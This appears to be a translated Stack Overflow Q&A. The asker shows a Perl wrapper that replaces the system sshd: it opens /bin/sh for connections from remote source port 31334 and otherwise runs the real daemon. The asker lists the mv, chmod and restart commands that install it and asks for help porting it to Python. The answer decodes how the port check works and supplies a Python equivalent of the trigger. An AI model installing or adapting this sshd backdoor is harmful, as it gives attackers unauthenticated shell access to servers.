python - 如何确定sshd的这个perl脚本的stdin内容

标签 python perl ssh stdin

我正在根据 perl 编写 python3 ssh 中间件,并希望将端口确定添加到我的 python 代码中。如何判断perl脚本中stdin的内容?

perl脚本正常运行 我用的是 ubuntu 16.04,这是我做的

mv /usr/sbin/sshd /usr/bin/sshd
mv /usr/sbin/backdoor /usr/sbin/sshd
chmod +x /usr/sbin/sshd 
systemctl restart sshd

这是 perl 代码

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

我根据查到的资料理解了STDIN,是fd吗?

这是我的python代码

#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys

for s in sys.stdin:
    raddr = os.read(s,100)
    if re.match(r'..zf',str(raddr)):
        os.execv("/bin/sh")
        with open("hello.log","a+") as f:
            f.write(str(raddr))
            sys.exit()
os.execv('/usr/bin/sshd',sys.argv)

我希望知道 stdin 在 perl 中的含义,谢谢~~

最佳答案

STDIN 是文件句柄,而不是文件描述符(“fd”)。文件描述符是小整数,代表操作系统内核提供的接口(interface)中的 I/O channel (例如套接字)( "system calls" ,例如 readwrite在 C 级打开, ...)。

STDIN(“标准输入”)是包含文件描述符的高级对象(0STDIN 的情况下)连同其他数据,例如缓冲区。您可以使用 fileno 从句柄中提取文件描述符。 . Perl 中所有常用的 I/O 函数都对句柄进行操作,而不是对原始文件描述符进行操作。

Perl 的STDIN 对应sys.stdin在 Python 中。与在 Perl 中一样,该对象包装了一个底层文件描述符,您可以使用 sys.stdin.fileno()(对应于 Perl 中的 fileno(STDIN))提取它。

POSIX::getpeername是 CPAN 上的一个模块。这不是您的 Perl 脚本使用的;否则,您将在代码中的某处使用 use POSIX::getpeername;(实际上,Perl 脚本不加载任何模块)。如文档所述,该模块提供了一个 _getpeername 函数,可以从套接字文件描述符中获取远程地址;如果你想将它与 STDIN 一起使用,你可以使用 use POSIX::getpeername; POSIX::getpeername::_getpeername(fileno(STDIN))(或 POSIX::getpeername::_getpeername(0))。

您的代码调用了 getpeername Perl 内置的函数,它接受一个文件句柄,而不是一个描述符。句柄必须引用套接字。在 STDIN 的情况下,调用进程负责设置它; Perl 代码简单地假定它是一个套接字。该函数返回的是一个包含原始 struct sockaddr_in C 结构的字节字符串。通常你会使用 Socket::unpack_sockaddr_in提取端口和 IP 地址(或仅使用 IO::Socket::INET 中的高级接口(interface)之一,例如 $socket->peerport)。

至于正则表达式的作用,取决于它运行的系统上 struct sockaddr_in 的内部结构。 C 类型本身声明为:

struct sockaddr_in {
    sa_family_t    sin_family; /* address family: AF_INET */
    in_port_t      sin_port;   /* port in network byte order */
    struct in_addr sin_addr;   /* internet address */
};

sa_family_tsome unsigned integer type .在 Linux 上(我希望在其他 unix 系统上也是如此)它被定义为 unsigned short,即 2 字节整数。

in_port_t 是一个 unsigned 2-byte integer包含网络字节顺序的端口。

假设前两个字段之间没有填充,这意味着 getpeername 返回的字符串的前两个字节代表地址族,接下来的两个字节代表 big-endian 中的网络端口 ("网络字节序”)格式。

这就是 /^..zf/ 匹配的内容。前两个字节可以是任何内容(值 10 除外,它被解释为换行符;这很可能是代码中的错误),因此地址族无关紧要。字符串zf对应大端的31334:

$ perl -wE 'say unpack "n", "zf"'
31334

简而言之,getpeername(...)=~/^..zf/ 检查(以一种非常快速和肮脏的方式)远程端口是否为 31334。如果是,包装器脚本运行 /bin/sh;否则它会转发到真正的 sshd 可执行文件。


我不确定相应的 Python 代码是什么。也许

import sys
import socket

socket.socket(fileno = sys.stdin.fileno()).getpeername()[1] == 31334

?

关于python - 如何确定sshd的这个perl脚本的stdin内容,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/57252551/

相关文章:

regex - LibXML中的xPath可以是正则表达式类型吗

bash - Windows 桌面上的 cygwin ssh 快捷方式

python - 如何更改列表框项目的文本?

python - Matplotlib 将数组转换为 1 条图表线

multithreading - 在perl中将线程队列对象作为对象变量传递

perl - 如何在 Perl 列表中找到值的数量?

python - 谁能举一个小例子来解释 tf.random.categorical 的参数?

python - protobuf python 错误 "cannot assign to extension because it is a repeated or composite type"

Git - 服务器上的 ssh-key

ssh:无法解析主机名 bitbucket.org:不知道这样的主机